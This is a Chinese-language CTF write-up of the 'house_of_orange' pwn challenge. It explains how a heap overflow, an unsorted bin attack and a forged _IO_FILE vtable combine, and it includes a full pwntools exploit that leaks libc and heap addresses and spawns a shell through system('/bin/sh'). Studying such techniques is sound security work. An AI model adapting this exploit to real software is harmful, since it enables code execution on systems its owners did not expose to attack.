CTF-PWN

house_of_orange

2018-08-15  本文已影响170人  zs0zrc

今天学习了下house_of_orange,总算是把house_of_orange给搞懂了house_of_orange原理其实很简单,就是利用unsorted bin attack 和_IO_FILE利用的结合
这里涉及到的知识点有点多,是堆利用和IO_FILE利用的结合,所以要对两者都有一定的了解
直接拿house_of_orange这道经典的题来说吧

防护机制:

image.png

基本程序逻辑:一共有三个功能

  1. build 创建一个house 输入housename的长度、内容、price、color的一些信息,并且它的将house更新为最新分配的house,所以我们只能对刚分配的house进行操作
  2. upgrade 更新house的内容,这里读取name时存在堆溢出漏洞
  3. see 打印出house的信息 ,这里可以将地址leak出来

大致思路:

通过堆溢出,修改top chunk的大小,然后分配一个大小大于top chunk大小的chunk,所以 旧top chunk就会被free掉,进入unsorted bin中,然后再分配一个大小在large bin 的大小范围内的chunk,那么这个chunk就会包含libc的地址和它本身的地址,通过两次upgrade和see将libc地址和heap地址都泄露出来。之后通过堆溢出修改old top chunk的size字段为0x60,利用unsorted bin attack将 _IO_list_all修改为main_arena+0x58,同时old top chunk会被链入small bin中,如果再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数,具体的下面会展开

sysmalloc源码:

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
          && (mp_.n_mmaps < mp_.n_mmaps_max)))/*这里进行判断,判断分配的大小是否大于mmap分配的阀值,如果大于就是用mmap从新分配一个堆块,否则就会扩展top chunk*/
    {
      char *mm;           /* return value from mmap call*/
    try_mmap:
    
    .........
    ..........
      if (old_size != 0)
                    {
                      /*
                         Shrink old_top to insert fenceposts, keeping size a
                         multiple of MALLOC_ALIGNMENT. We know there is at least
                         enough space in old_top to do this.
                       */
                      old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
                      set_head (old_top, old_size | PREV_INUSE);
                      set_head (chunk_at_offset (old_top, old_size),
                                (2 * SIZE_SZ) | PREV_INUSE);
                      set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ),
                                (2 * SIZE_SZ) | PREV_INUSE);
                      /* If possible, release the rest. */
                      if (old_size >= MINSIZE)
                        {
                          _int_free (av, old_top, 1);/*将old top chunk free掉,加入unsorted bin*/
                        }
                    }
     ...........省略了挺多的 具体可以自己去看源码
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20  
print "libc base address -->[%s]"%hex(libc_base)

upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base

查看是否为伪造成功

image.png

此时的vtable已经指向伪造的函数表了

image.png

exp:

from pwn import*
context.log_level = 'debug'

p = process('./houseoforange')
elf = ELF('./houseoforange')
libc = elf.libc

def menu(idx):
    p.recvuntil(': ')
    p.sendline(str(idx))

def see():
    menu(2)

def build(length, nm, pz, color):
    menu(1)
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(nm)
    p.recvuntil(":")
    p.sendline(str(pz))
    p.recvuntil(":")
    p.sendline(str(color))

def upgrade(length, nm, pz, color):
    menu(3)
    p.recvuntil(":")
    p.sendline(str(length))
    p.recvuntil(":")
    p.send(nm)
    p.recvuntil(":")
    p.sendline(str(pz))
    p.recvuntil(":")
    p.sendline(str(color))

build(0x30,'a'*8,123,1)
#gdb.attach(p)

payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
upgrade(len(payload),payload,123,2)

build(0x1000,'b',123,1)
log.info('-----------------------leak address-------------------------')
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak -1640- 0x3c4b20  
print "libc base address -->[%s]"%hex(libc_base)

upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
leak_heap = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_heap - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)

_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
log.info('-------------------------unsorted bin and build fake file--------------------------')
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
fake_file = '/bin/sh\x00' + p64(0x60) 
#这里写入binsh字符串是因为最后调用vtable中的函数时会将IO_FILE的指针作为参数
fake_file += p64(0) + p64(_IO_list_all - 0x10)#unsorted bin attack
fake_file += p64(0) + p64(1) #bypass check 
fake_file = fake_file.ljust(0xc0,'\x00')

payload += fake_file
payload += p64(0)*3
payload += p64(heap_base + 0x5e8)#vtable
payload += p64(0)*2
payload += p64(system)
upgrade(0x800,payload,123,1)

p.recv()
p.sendline('1')
p.interactive()

上一篇 下一篇

猜你喜欢

热点阅读